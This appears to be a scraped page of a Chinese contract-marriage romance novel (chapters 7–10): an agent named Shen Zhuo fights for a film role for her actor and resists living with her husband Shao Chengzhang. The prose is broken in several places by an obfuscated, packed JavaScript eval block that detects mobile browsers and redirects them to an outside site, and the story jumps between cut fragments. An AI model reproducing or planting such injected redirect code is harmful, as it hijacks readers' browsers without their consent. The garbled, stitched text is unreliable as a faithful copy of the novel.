“你也是知道我的，三观跟着五官走哈哈哈......”姜珺突然叹口气，“什么时候我也能谈一个帅成这样的，啊——已经好久没有过有男人滋润的日子了。”姜珺感慨。 “啧，不谈恋爱能憋死你啊。不过你每次都谈不长久，要这样谈到什么时候啊？”沈灼去卧室换睡衣，边走边问。 “恋爱谈超过三个月就要变质，而且对方的真面目还会慢慢显露出来，不是想让你当妈就是想让你当保姆，还有让你当狗的。我只能跑了呗。”姜珺又细看了一眼结婚证，感觉沈灼如果嫁了这么一个男人，至少对谁的眼睛都好，那还挺值的。 姜珺：“今晚着实应该喝酒庆祝一下，但是明天我和一制片人约了谈事儿，喝了肿一天。” “别喝了，喝了就误事。”沈灼说。 要不是喝酒，这婚可能也不会结。也不知道是好事还是坏事，不过算了，人总要为自己的行为买单。酒是她喝的，婚是她要结的，能怪谁。 沈灼从姜珺手里抽过结婚证，顺手就扔在了衣柜里的最底下一层抽屉，那里没放什么东西，眼不见心不烦。 “对了，这事你别和我妈说漏嘴啊，我还没想好怎么和她讲。”沈灼想起来提醒她，她向来做事都是先斩后奏，姜珺想象了一下迟女士知道这事的反应，估计得炸了。 至于是高兴还是生气，不好说。 这会儿正值下班高峰，两个人也懒得再开车出去吃饭，直接点了外卖。 虽然请了一天假，但是沈灼的微信消息仍然是99+，里面有一些是问公司里艺人档期的，有些是品牌合作，有些直接发来剧本的想和关司予合作的，还有一些是公司其他的事务。沈灼捡着能先处理回复的就先回复，然后抽空快速过了个剧本。 从客厅起身洗漱回屋，没想到姜珺抱着她的被子敲敲她的房门，“灼子，今晚我想和你一起睡。” 沈灼笑了一下，拍拍床边，“十分荣幸大将军给我暖床。” “我们好久没一起睡了。”姜珺连人带被一起扑到床上，搂住沈灼的一只胳膊。 女孩子之间就是这样，就算白天聊得热火朝天，晚上躺在同一张床上还是能翻出一箩筐话题继续唠，吐槽傻叉，分享八卦，回溯过往，期待未来，总有说不完的话...... 等姜珺躺好，沈灼关了床头灯，屋子里瞬间陷入黑暗。 “今天本该是你洞房花烛夜，没想到吧，被我霸占了。”姜珺窝在被子里笑。 “拜托，那得等办婚礼才算。”沈灼懒洋洋地回。 “对哦。可是你们也不办婚礼啊，太可惜了，他竟然是个ED。”姜珺轻轻碰她，“哎，你觉得邵成章这个人怎么样啊？” “就见过两次不好说，他谈吐都蛮得体的，也挺有气质，在国外上大学，应该家境还行吧……就是怎么都联想不到他的工作，总感觉很……诡异。”沈灼想了半天，憋出这么一个形容词。 不过从一开始的送酒邀约见面，到安排律师公证，她感觉邵成章这人做事从容缜密，甚至可以说得上是体贴，体贴到将所有事情都安排得滴水不漏，让人挑不出任何不妥。她知道这份体贴里带着一种下意识的疏离和生人勿近，毕竟是协议结婚。 “感觉你对他印象还挺好的。”姜珺翻了个身，侧躺冲着沈灼，“你不会喜欢上他吧？” “怎么可能，他是长得不错，但也不是见个帅哥我就喜欢啊。我感觉他有点装。”沈灼想起钻戒的事，又和姜珺转述了一遍，惹得她啧啧称奇。 “反正你们不住在一起就还好，要不然谁知道是不是有什么特殊癖好。不过我原本以为你能和我一样一直不结婚呢，结果说结就结。哎……想一想我们竟然都要30岁了诶，我总感觉好像才毕业没多久，二十二三的年纪。” “是啊，好快啊……这么一想，我们都认识十三年了。” 姜珺叹口气：“怎么关系好的怎么全都结婚了，竟然只剩我一个孤家寡人……”她缓了一下，接着说，“你知道吗我曾经看到过一个帖子，说女性的友谊总是终止于其中一人结婚。一开始我不信，自己认识了十几年的朋友怎么会比不过认识了一两年的男人呢，可我发现真的是这样。我身边几个关系好的姐妹，当她们告诉我婚期之后，很神奇的突然就不联系。后来偶尔联系，不是聊婚礼筹备就是吐槽新房装修，我插不上话，随口提点别的也被敷衍。就是……唉......” 沈灼听着听着就感觉姜珺的情绪有点不对，声音都变得闷闷的，“将军，你怎么了？” “灼子，我不想我们以后也变成这样，渐行渐远再不联系。我害怕……人为什么要结婚啊。” “我也不知道。”沈灼说，“可能图个耳根清净，图个让我妈安心。她自己的婚姻烂得一塌糊涂，可能越是失败，越对我的婚姻抱有幻想，希望我过得好吧。但怎么想都挺可笑的，怎么能把幸福寄托在别人身上……” 沈灼睁开眼睛，转过身对着姜珺：“不过有一点可以肯定，我可不会放过你。对我来说，你是家人，不是朋友，所以我们才不会像你那些朋友一样。而且我和他本来就是协议结婚，平时又不见面，和单身没区别的。你要是因为我有本结婚证敢对我有意见……” “怎样啊，已婚妇女？”姜珺又往前拱了拱。 “以后休想踏入我沈府半步。” 姜珺伸出手钻进了沈灼的被窝里，直接抱住了她的腰，头也往她肩膀那里拱了拱，“不要啊沈大人，小的知错了，您大人有大量，给小的个住处，小的当牛做马报答您。” 沈灼忍不住笑出来，“那你是当牛还是当马？” “果然最毒妇人心啊。”姜珺不知道想到了什么，“啊”了一声，“你老公不是卖情趣用品的吗？你问问他有没有什么推荐的小玩具啊？就震动和吮吸功能的，最近不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我听说过这项目，现在男主好像在接触郜远吧。”其中一位说，“感觉人设也挺贴合的。” 沈灼说：“接触归接触，没签合同之前什么都不准，就算签了，开机前都还有变数呢。” “沈灼姐是不是想说关司予啊。”另一个执行经纪笑着说，“我觉得他年轻了点？” “嗯哼，我觉得他可以。”她用词很严谨，是可以，而不是合适。“至于形象，妆造合适没问题。”沈灼对于关司予的演技还是有信心的。她有私心，想让步繁一带一，让关司予出演男主。 “女一号定了步繁，男一还用咱们公司的，杨总是参与投资了？”执行口中的杨总杨瑞泽是鲸禧娱乐的老总。 沈灼：“那倒没有。” 沈灼和递本子的制片人认识，之前带的艺人和她合作过，只要步繁同意，她有几分信心能成。所以，她得先去说服步繁。 沈灼曾经是步繁的经纪人，三年前她帮步繁接了一部文艺片，一开始谁都不看好，甚至步繁也不情愿接，结果上映之后步繁直接横扫华语电影三大奖，一跃成为演技派影后，也证实了沈灼挑本子毒辣精准的眼光。正因如此，步繁即便成立了个人工作室，依然与鲸禧娱乐签署合作协议，将影视经纪约交给公司打理。沈灼表示《雾灯》这个项目她跟进一下。 “其他人手上艺人的资源情况呢？”她问，“最近哪些人有戏要开播、哪几个项目进组时间确认了吗？把重点项目排一下.....” 几位经纪人迅速翻开平板或手边笔记，开始汇报各自艺人动向。沈灼边听边记，适时插话，精准指出哪档综艺和艺人人设不符、影视项目保留还是排除。整个会议几乎没有一句废话。 会议结束之后，沈灼给步繁发语音：“亲爱的，你现在在哪儿，有个项目咱们见一面聊一聊呗。” 8. 第 8 章 步繁很快给沈灼回复了信息，约在她家里见面，她最近做了医美项目，不方便出门。 沈灼拎上包直接去了步繁家里。 步繁穿着一身浅卡其的亚麻小衫和同色阔腿长裤，素着一张脸，扎着高马尾，完全看不出来实际年龄。 沈灼笑着打招呼：“亲爱的，你状态这么好，就是得赶紧进组，要不然多浪费啊。” “瞎说。”步繁嘴角一弯，语气里却带着几分得意，“刚打完针，脸还有点肿，你就夸吧。” 两人在客厅落座，茶几上已经摆好香气温润的白茶和一盘小食。沈灼也不绕弯子，从包里取出平板，打开一个文档滑到人物小传那页递过去，“《雾灯》你看了吧，这剧本挺不错的。” “嗯，Joey和我提过，讲什么的？”Joey是步繁的经纪人，听她这意思，看来步繁这边似乎没看上这个项目。 沈灼三言两语介绍了下剧情，步繁垂眼滑动着平板，“又是这种文艺片啊，不卖座啊。” “这看你想要什么了。你也知道这两年商业片票房爆的没几个，大多也都是剧本不行，有几个艺人我就不说了，咱们心知肚明，一年上映三四部，票房也扛不起来，路人缘也败坏差不多了。”沈灼看她一眼，继续说，“你知道现实题材的电影其实很挑演员。演技要足够细腻，还得能扛住镜头，符合气质。想来想去，我觉得现在女演员里，真的只有你行。” 步繁微微点头，没说话。 沈灼趁热打铁：“而且这部戏如果导演真定下来乔新越，这片子最差也是个欧洲三大入围。上次去戛纳走红毯还是三年前我陪你去的，明年咱们再去一次戛纳，我提前大半年给你约造型。” 步繁微微一笑，“你说好的剧本我肯定不用担心，我会看的。” 沈灼试探道：“其实男主我都想好了。” 步繁看向她的眼神带着询问。 “我觉得司予挺合适的。” 步繁怎么会听不出来沈灼的画外音，无非是想让她牵线搭桥，她忽然笑了下：“你来找我，是为了他啊。” “撇开我是他经纪人，坦白说，他身上给人一种疲惫感和忧郁感，挺难得的，这一点和剧本里的货车司机非常契合。那种沉默寡言、不轻易流露情绪的角色，他拿捏得住。而且他本身就带给人一种旧感，是演得不出来的。” 沈灼顿了顿继续说：“再说了，这种剧情挺吃男女主之间的张力的，我也不瞒你，现在男主接触的是郜远。他都四十多了，这些年走的都是正剧风，和你还有这片子的气质完全不搭嘎。这种人物关系推动剧情的，没张力电影废了一半。但你和关司予站在一起，是能产生氛围感和化学反应的，现在年轻人都磕这种。后期宣传路演这方面，我们司予肯定是配合你们来的，但是郜远可就不一定了。” 其实沈灼分析得很有道理，步繁放下平板，靠在沙发里：“你还真是为了他在操心。” “为他，也为你。”沈灼压了下嘴角，“对司予来说，这确实是个新尝试，而且剧本难得。要是你愿意让司予出演男一号，他的片酬我谈的时候可以压一压，你的片酬我可以再提一下，你觉得呢？” “片酬吗......”步繁说，“我也不差这点了。” “那你想要什么？我这边能做到的肯定尽量满足。”沈灼说。 步繁垂着头像是在思考，忽然二楼传来一声童声：“妈咪——” “宝贝，妈咪在和沈灼阿姨谈事情呢。”步繁仰头喊道，“和阿姨打招呼。” 沈灼也顺势抬头，看到步繁的女儿在在正趴在二楼的栏杆上。 步繁对在在十分溺爱。因为工作忙的缘故，只要步繁在家休息，她便会和学校请假，在家陪女儿。哪怕现在在在已经七岁了，这个时间应该在学校上课而不是在家里。 “Hello，沈阿姨。”在在朝沈灼挥挥手，“我要下楼了。”没一会儿，在在就跑到步繁的怀里了。 沈灼冲她笑了下，“Hello在在，好久不见，你又长高长漂亮了呀。没想到你在家里呢，要不然我就给你带你最爱的艾莎公主了。” “我现在已经不喜欢艾莎了。” “是吗，那你喜欢什么呀，阿姨下次给你带好吗？”沈灼捏捏她的小脸蛋，软乎乎的。 “我喜欢Lumi！” 沈灼第一反应是她最近错过了什么迪士尼电影吗？什么Lumi？她根本没听说过。 趁着沈灼愣神的空档，在在搂住步繁的脖子撒娇，“妈咪，陆家豪都拿到Lumi的隐藏款了，我也想要。” 步繁忽然抬眼看向她，她心里有种不太好的预感。 下一秒步繁笑着说，“沈灼，如果你能帮我宝贝找到Lumi的隐藏款，我就答应推荐关司予出演男一号。” * 沈灼走出步繁家里，立即拿出手机搜索Lumi，这到底是什么东西？百度出来后才知道这是Dreamora公司旗下一款核心潮流玩具IP，两年前发行，火得一塌糊涂。 “Lumi家族是一群半自然半能量体的生态守护者，因为人类过度开发导致环境崩坏，地球生态系统进入“重建期”，它们是地球本能孕育的‘自我疗愈机制’.....”沈灼一边撇嘴一边看着介绍。 搜了下图，IP形象还挺可爱，长着珊瑚鹿耳，圆圆的大眼睛，身上有叶纹一样的纹理，还有一条尾巴...... 沈灼搜索隐藏款，其实有很多，她在步繁家门口站了足足有十分钟，也不知道在在想要的是哪款。一个“最贵的Lumi隐藏款”帖子吸引沈灼注意，她点了进去，原来去年Dreamora曾经发布过一款Lumi，并配备了培养舱，玩具每日接触太阳，并且浇水，底座可以长出真实的苔藓。 好消息是这款隐藏款市场上似乎还有在流通。 坏消息是全球限量发布，因此溢价严重，原本899的盲盒已经炒到了一万二...... 沈灼翻了个白眼，谁会买这么贵的盲盒啊……往下划了划评论，求流通平台的竟然不在少数......她对盲盒这种东西不感兴趣，很难想象和理解有人会花重金买一个还没巴掌大的小玩偶...... 查清楚之后，她忍不住给姜珺打电话吐槽：“我天，我觉得她根本就是在刁难我。你知道那些隐藏款有多贵吗，一个就三四五六千，还有一万多的，关键是有钱可能还买不到。如果不想推荐关司予直说就好了呀。她以为她是米兰达吗？！” 姜珺笑道：“谢天谢地，她没让你去要《哈利波特》的手写稿。哦不不不，这是在中国，幸好她没让你去和老贼要《龙族5》的大结局。” “靠，死将军，你太扎心了。” 姜珺哈哈两声，问她，“那你是找不找啊？” 吐槽归吐槽，活儿还是要干的。沈灼叹口气，“找呗。” 回去之后，沈灼先问了几个好像喜欢二次元的朋友，又问了几个杂志社的编辑，还真被她问到了有位编辑有，但是对方并不舍得割爱，沈灼也不好强求。连二手平台都被她接连几天的lumi刷屏，一打开首页全是各种盲盒的推荐。 她为难的愁眉苦脸，毫无头绪。 “你说咋办啊！咋办啊！！！”沈灼在家里以头抢沙发，忍不住哀嚎。 姜珺倒了一杯气泡水递给她，顺便出招：“实在不行，你直接冲去Dreamora的公司，找到他们的市场部还是营销部，直接建立联系合作，让他们给你一套。反正你以前也是这么帮艺人争取资源的。” “我倒是想，我翻遍了他们的官微，竟然都没有和艺人合作过。但凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邵成章回到益海山庄，管家曲叔迎出来，嘱托他道：“小邵总，董事长正在气头上，一会儿进去您就顺着他的意思来，可千万别逆着他。” 邵成章顿了一下，“曲叔，我刚结婚，要是他让我离婚我也去离？” 曲叔一时语塞，只得低声劝：“董事长也是为了您好。” 邵成章眉眼冷了几分：“他为的是邵家不是我。” “成章。”邵成恪打开门，和进门的弟弟对了个眼神。邵成章知道大哥询问的意思，冲他点头，表示他结婚这事是真的。邵成恪眼神闪过一丝讶然。 客厅里，一脸怒气的邵松坐在沙发上，兰芙玉正在泡茶，莲子心搭配决明子，清心火降肝火。 “你给我说清楚，结婚到底是怎么回事，那个女人是哪儿来的？！”邵松的声音几乎是带着怒火砸下来的。 清晨刚过，他就接到了老友的电话，语气半是调侃半是惊讶：“老邵啊，你家成章怎么结婚了，这么大的事，也不通知一声？我怎么记得今年结婚的是你家成恪呢。” 这一句话，把邵松问得一头雾水。他当即让人去查，结果不到半小时便确认了消息——前段时间，邵成章确实去民政局领证了。 像邵氏这样财力雄厚的集团，一举一动都能在顶层圈子里掀起不小的波澜。邵成章虽然是私生子的身份，不过已经认祖归宗，那就是堂堂正正的邵家人。 邵成章行事低调，但架不住他本人的身价与位置——年轻一代中最受关注的企业继承人之一，几家有适龄千金的家族早已将他列入“潜在联姻对象”，动向自然格外敏感。 邵成章很平静：“没什么可解释的，我非沈灼不娶。” 9. 第 9 章 闻言，邵松的脸色阴沉得像压着雷雨的天。 “你以为你能做主自己的婚事？！”他最不能接受的是，在这一场联姻计划里，他还没落子，邵成章却已经将整盘棋推翻。“我不管你怎么想的，现在——赶紧去给我离婚！” 邵成章站在原地，面色如常，甚至笑了一下，“爸，现在去离婚也离不了，还有一个月的冷静期呢。再说了——你让我娶关昕，有没有考虑过关家会不会愿意要一个刚离婚的女婿？” 话音落地，空气顿时僵了一瞬。 “你——！”邵松气得胸口剧烈起伏，脸色涨红，一时说不出话来。 兰芙玉忙伸手抚着他胸口顺气，看向邵成章，声音温婉：“成章你也真是，有了喜欢的女孩子，怎么就一点都不和家里说一声？你爸气是气，可不是反对你谈恋爱……只是这婚结得太突然了，还是你庄叔叔打电话来我们才知道，你说他能不生气吗？” 她说着，温柔地给邵松添茶，语气却变得意味深长：“再说了，你哥今年才准备婚礼，哪有弟弟抢在哥哥前头的道理？你让你哥怎么下台？” 邵成章讨厌兰芙玉假惺惺的样子，没搭她的茬，只是说道，“大哥同意联姻，不代表我也会同意。”他顿了一下还是说出口，“我和大哥不是你巩固事业的工具。” 邵成恪几乎事事被他安排好，像个提线木偶，他不想和大哥一样。 邵松的脸色瞬间铁青，“我生你们，养你们，给你们最好的环境和教育，你们就是这么报答我的吗？” “如果是这样的报答，我宁愿不回邵家。”他冷冷说道。 “好啊——”邵松怒极反笑，猛地起身，指着邵成章鼻子骂，“你真以为自己长本事了？不靠邵家，你什么都不是。你那点小公司，要不是你姓邵，会有人投钱？你以为那些资本是冲你这个人，还是冲‘邵’这个姓？如果你什么也不是，那个女人会和你结婚吗？！” 如果他不姓邵，沈灼会和他结婚吗？ 沉默间，他脑海里忽然闪过沈灼的脸——那张淡漠又带点不屑的神情。 她当时愣着一张脸，说婚后自己不会花他一分钱，一副信誓旦旦的样子。想到这，他嘴角竟微微翘了起来。 她不是因为他姓邵才答应和他结婚的。 不经意的细想，邵成章竟然莫名觉得沈灼有点可爱。 “她会。”邵成章十分确定。 邵松眯起眼睛，目光犀利逼人地盯着他：“你是不是故意的？就是为了躲开和关家的联姻，才临时找了个人，演这一出结婚的戏？” “不是。”邵成章看着他，一字一句地说，“我对沈灼一见钟情，死心塌地，至死不渝。第一次见她，我就知道，这辈子非她不可。听到她答应我的求婚，怕她反悔才迫不及待地去领证。我没必要拿自己的婚姻当儿戏。如果你们想让我离婚，那就不用再费口舌了，我只想和她相知相守一辈子。也许她不符合你们儿媳的标准，但她是我认定的人，谁也改不了。” 邵成恪闻言挑眉，看向弟弟，生人勿近的他什么时候身边还有这样一个女人了？ 邵松闻言哼笑一声，“既然是这样，那她怎么说现在也是我们邵家的媳妇了，以前你一个人在外面过没有问题，但是现在结婚了，也不能让女方觉得我们疏于照顾，对人家不重视。”邵松看他一眼，又喊了曲叔过来。 “找个手脚麻利的阿姨过去照顾小夫妻俩的起居吧。” 邵成章眉头微皱，这是赤裸裸的监视。 “怎么，有问题吗？” 邵成章神色平静：“没有。” “嗯。什么时候有空，也带回来我们见见，和亲家也得吃个饭商量一下你们的婚事，别让人家说我们没规矩。等你大哥婚礼之后你们也赶紧办了，今年咱们家双喜临门。” 邵成章没想到邵松接受的这么快，这有点出乎他的意料，他本以为他不会接受沈灼，现在也只能先应下来。 兄弟俩一齐走出别墅，邵成恪侧头看了他一眼，“你真以为能一直瞒得过爸？” 邵成章笑了下，带着讥讽：“他相不相信不重要。他再有本事，也不能强制我离婚吧。” 邵成恪沉默了片刻，忽然道：“成章，想做什么就做吧。” 邵成章微怔。 “邵家有我一个木偶就够了，”他自嘲似的笑了下，在邵成章看来这笑带着不可名状的苦涩，“你可以去做你真正想做的事，爱你想爱的人——也算替我活一份自由。” 他比邵成章大两岁，从小被邵松和兰芙玉视作继承人，生活被一点一点规划得滴水不漏，几乎没有童年。 而十岁的邵成章回到邵家时，对他来说是新奇的存在。虽然邵成章表面总是一副疏离所有人的样子，但私下里却会偷偷把喜欢的卡通卡片塞进哥哥的书包里，偷买的零食也会分他一半——他总是食指抵在嘴巴上，示意邵成恪不要说。 邵成恪知道母亲不喜欢这个“外来的孩子”，但他对这个弟弟却总有一种莫名的亲近，或许是他从小渴望玩伴，也或许是来自邵成章的示好，也或许是身上有着一半同样的血缘。 邵成章一时之间没说话，直到快要走到车位，才低声喊了声“哥”，“谢了。” 邵成恪笑着冲他扬了下下巴。 * 十点，关司予罕见地已经到了公司等着沈灼了。放以前，不到下午绝对不见他人影。他的戏份其实在前几天就已经杀青回来了，沈灼让小芸务必先带着关司予再去医院做一次检查，以防落下什么后遗症，好在检查结果一切正常，她便让他在家歇了几天。 沈灼见到他颇感意外：“来这么早？” 关司予急着确认：“沈灼姐，你是不是收到了《雾灯》的剧本？” 沈灼挑眉，她没和他说过这事儿。 “是我从林意桌子上看到的。” “是有这个剧本，怎么了？”她不是不想告诉关司予，但是怎么也得等事儿落停了再说。 关司予恳切地看着她：“姐，我想演这个电影。你帮我争取下角色行不行？” 沈灼有点惊讶，这是他第一次央求自己帮他接角色，但她现在并不确定能不能帮他谈下来。 “这个本子其实是邀请步繁的。”沈灼看他一眼。 “不演男主，配角也行，总之让我 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“嗐，就男主人选呗。”沈灼说，“听说男主你们想用郜远，我感觉两个人的cp感是不是有点不太合适。” “怎么，你有更合适的？”黎雅琦反问。 “关司予呀。” “哦我知道他，上个片子挺不错的，就是年轻了点，和步繁搭吗？”黎雅琦抿了口咖啡，“说实话，是你推关司予还是步繁推的？他是不是签在你们公司？” “雅琪姐，我打开天窗说亮话，关司予肯定是比郜远合适的。他现在是在我们公司，但我不会因为公私不分就拿项目开玩笑。咱们之前也不是没合作过。” “但他太年轻，扛不起票房啊......”黎雅琦沉吟着说。 “票房不会完全压在男主身上，《雾灯》其实还是偏女主，要不然你们也不会找步繁。”沈灼缓缓补了一句，“再说了，关司予有那种美强惨的气质，现在观众最喜欢这种人设。” 黎雅琦的指尖轻敲了敲杯沿，显然在认真考虑。 沈灼见好就收，轻轻一笑，“当然，如果你们已经定了人选，我这话就当没说，别往心里去。”她顺势转换话题：“对了，导演确定是乔新越了吗？我看项目上还写着‘拟邀’。” “差不多吧。” 沈灼点头，“编剧好像还是个新人？你最近几个项目都是新人编剧啊。” 黎雅琦点头，“是我纽大的学长推荐的，你敢信这还是个学生作品，我看故事挺好直接买下来的。我和这编剧一直有联系，等她从国外回来，打算签了她。” 沈灼也实在惊讶，如此成熟细腻的剧本竟然是个学生写的。 不过沈灼想不明白，为什么关司予会如此执着要演这个电影，哪怕是个配角，这剧本确实好，但如果不是出演男主，倒也没必要自降身价演小配角。 沈灼和黎雅琦又互相聊了聊行业内近况，直到她准备要离开的时候，黎雅琦和她说，如果步繁坚持要关司予担任男一号，她这边会考虑的。 沈灼冲她微笑着说好，然而转身之后那笑容荡然无存。 这简直是个闭环。 10. 第 10 章 回到公司之后，沈灼收到杨总消息，下午要她们四位经纪总监一起开个会。 关司予来问沈灼要不要一起去吃午餐。他对团队向来大方，订了一家米其林星级的日料餐厅。还没等沈灼应，她的手机就响起来了，而来电显示本该是一个不需要经常有联系的人。 沈灼犹豫两秒，还是接了起来。 “沈小姐，中午有时间吃个便饭吗？” “不方便。”沈灼没想到邵成章竟然是邀约吃饭，她眉头皱起来，领证那天不是说好了，非必要不要联系的吗......这才过了多少天啊...... “我有事找你商量，现在就在你们公司楼下，我想不会耽误你太长时间。” “......” 小芸就站在沈灼的办公桌旁，听出来对方是个男人，开口打趣道：“看来沈灼姐中午有约会喽。” “约个屁。”沈灼不客气地怼了一句，“谈事儿去了。” “沈灼姐，你这样可是会把约会对象吓跑的哦，”关司予在一旁揶揄道，“以后嫁不出去怎么办？” 要搁在以前，沈灼绝对回怼一句：“谁说我要嫁人了。” 沈灼嘴一张，刚想说他想多了自己还真结婚了，话到嘴边又咽了下去，还是先不要说了，要不然根本堵不住他们想八卦的嘴。 “你们还不走？”沈灼习惯性的打开小化妆镜，看了下仪容，又拿出口红稍微补了补。 “走啊，一起下去呗。”关司予说。 沈灼不知道自己出于什么心理，她并不想让别人看见她和邵成章在一起。她顿了下，假装看了下手机，“你们先下去吧，我还得再等会儿。” 直到关司予他们离开五分钟后，沈灼才慢慢下楼。 临近中午，气温陡然升高。邵成章穿了件颜色极浅的衬衫，剪裁贴身，袖口随意地挽到手肘，露出一截结实小臂，挺拔的他站在路边，经过的路人时不时回头看他两眼。 倘若沈灼和他现在不是这种尴尬的关系，她一定会蛮欣赏他的，他的长相和身材真的没话说。可偏偏他们就是不见舒服，见了别扭的关系。他再好看，沈灼也不觉得自己多欣赏得来。 “找我什么事？”沈灼快步走到他身边，手抵在额头上遮阳，眯着眼睛看他。 “吃什么？”邵成章问。 现在午高峰，正是堵车的时候，沈灼不想浪费太多时间，看了下四周，指着公司隔壁的轻食餐厅，“就这个吧。” 邵成章没有意见，锁了车跟在沈灼身后。 沈灼点了份烤时蔬沙拉，邵成章点了份能量碗又多加份了牛肉和煎豆腐。 两个人面对面坐在餐厅靠里的沙发位置。 “所以是有什么事吗？”沈灼再次问了一遍。 “沈小姐，事出突然，但除此之外我想不到别的办法了。” 沈灼觉得他说的这一定不是什么好事。 “我们可能需要同居一段时间。” “啊？！”沈灼瞪着眼睛，“邵成章，我们明明约定好了，婚后不需要同居。” 邵成章：“确实是，但我当时还说了一个前提，是必要条件下，双方需要配合。” “我认为的必要条件是逢年过节，需要去见家长的程度，而不是婚后你爸妈来你家，我们就要随随便便住在一起。”沈灼皱起眉头，“邵成章，婚姻对你来说是不是可有可无的东西。” 他怔了一下，“是。” “那我不明白了，咱俩结婚和你和家里安排的人能有什么不一样的。你都多大了，还以为是青春期吗，和家里拧着干。” “不一样。”邵成章凝视着沈灼，声音却低了几分，“和你结婚，对我来说不一样。” 没来由的，沈灼的心忽然重重“噗通”跳了一下。她移开视线，低头又将剩下的半份酱倒进沙拉里，早知道婚后要马上同居，这个婚打死她都不会结。她尝了一口沙拉，感觉烤鸡胸肉配牛油果酱都不好吃了。吃饭谈事真是影响胃口。 “总之，同居我不同意。” “理由？” “理由就是我不想。”沈灼一点不客气。 不同意就是不同意，还需要什么理由。 她刚工作的时候想离公司近点，选择不住家在外合租。其中一个次卧住的就是男生，随意叼烟出入洗手间搞得全是烟味不说，进了房间从不换拖鞋，洗手间的地面总是黑乎乎的，马桶圈时不时还有滴落的尿渍。可是中介控制不了租客男女，她运气也没有好到租到全女房。她当时就发誓，一定要努力赚钱，买个自己的房子，哪怕小点都无所谓，她再也不想和陌生男的住一起了。 结果意料之中，但邵成章还是没忍住轻叹口气。 他试图动之以情，晓之以理，“沈小姐，据我所知你现在住处到公司每天通勤来回也要两小时。”邵成章说，“我住在悦澜湾，和你公司只有十分钟车程。” 悦澜湾？那岂不是就在附近，这么寸土寸金的地段，邵成章竟然有房？！每天十分钟的车程，确实让人心动...... “或者我也不介意搬去你那里。” “那不行。”自从沈灼新家装修好了之后，她便让姜珺搬去和她一起住了。 “我们总归要熟悉的，逢年过节肯定会一起回家，不管是你家还是我家，总不能在长辈面前露馅儿。” 沈灼又扬起那副假笑模式：“不会，我演技很好的。” 商讨陷入僵局。 邵成章很无奈地笑了下，有些头疼：“那怎么办呢？” 沈灼耸肩，一副爱莫能助的样子：“其余的场合出席都好说，唯独同居不行。我单纯不喜欢在生活空间下有异性生物在呼吸。” 邵成章轻叹，“好吧，总会有办法让你同意的。” 沈灼撇撇嘴：“那祝你好运喽，谢谢你的午餐。再见。” 她起身离开，邵成章侧首，直到她的背影彻底消失在眼角的余光。 邵成章不禁挠了挠额角，工作上的事他游刃有余，但感情里他实在是没经验，这似乎有点难办啊。 * 下午的会议是讨论一下今年经纪人培训的事。鲸禧娱乐每两年就要进行评级，优胜劣汰，这是沈灼担任总监以来即将第一次进行新人培训。 会议开了将近三小时之久，杨总终于说了散会，其他人陆续离开。沈灼起身走到窗边活动了下肩颈，隔着透明玻璃，她看到楼下马路已渐渐亮起了路灯，车流灯光开始交错，像一条缓缓流动的光河。 今晚没有其他安排，沈灼拿起手机，给姜珺发了条语音，说她马上往回走，顺便问她晚饭吃什么，有没有需要带的东西。 语音刚发出去，助理林意就在门口探了个头，喊了一声：“沈灼姐。”表情有些微妙。 沈灼挑眉，“怎么了？” “你还是自己去看看吧。”林意神情复杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590079|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说。 沈灼走回办公室，刚踏进去，整个人就僵住了——十几平米的空间，地上、沙发、茶几、桌面，几乎所有能放东西的地方，全都摆满了红玫瑰，香气扑面而来。 “林意！”沈灼震惊，“这谁送的？” 林意指了指接待区方向，小声道：“应该是外面那个男的……说是你老公？但是他长得好帅啊，沈灼姐你什么时候结的婚啊，怎么这么低调都不和我们讲。” 沈灼：“？”邵成章来了？ 她快步往接待区走去，一路上办公区的同事们纷纷抬头、互相交换眼神，还有人起身趴到隔断上偷看。 邵成章正坐在等候区，旁边的花束显然是他带来的。看见沈灼，他抱起旁边的花束站起身来，另一只手在身侧下意识地握了又松，他迈步走过去，什么都没说直接将玫瑰花塞入她怀里。 沈灼震惊到说不出话，整个人懵住。 前台小姑娘凑过来，“沈总监，这位先生已经等你很久了。” 沈灼回过神来，快速走过去将邵成章拉到感应门的一边，低吼着质问他：“你到底在发什么神经？！” 邵成章抿了抿唇，想杀了陈航的心都有了，这和他说的情况简直完全不一样！ 中午沈灼走后，他返回公司，路过办公区时正碰上午休的陈航在工位上和女朋友视频，他脚步一顿，往后退两步，走过去敲敲他的桌。 邵成章：“来一下。” 陈航以为要吩咐工作上的事，赶紧先和女朋友说了拜拜跟进去，没想到老板坐在办公桌后，眉头微蹙，眼神落在桌上还没翻开的文件夹，像是在出神。 他轻喊了一声老板，才让邵成章回神，抬起头来看他。 “抱歉打扰你的休息时间，我只是想问问你……” 陈航等了两三秒，也没等来下文，不知道老板想要干嘛……难道他最近工作有纰漏？想到几个朋友被公司裁员，他心一紧。 “邵总，有什么话您不妨直说，我承受得住。”陈航已经做好最坏的打算，视死如归地看着他。 邵成章轻咳一声，有些难为情地开口：“我有个朋友比较苦恼感情上的事，我帮他问问在你和女朋友交往过程里，有什么办法可以让女朋友答应你的要求？” “啊？”就这？陈航傻眼了……但老板什么时候有女朋友了？！他甚至来不及消化这个问题，嘴比脑子快： “基本上就三个办法吧……”陈航迅速组织语言，“一是和她撒娇，二是送礼，三是那什么的时候说她一般就会答应。” 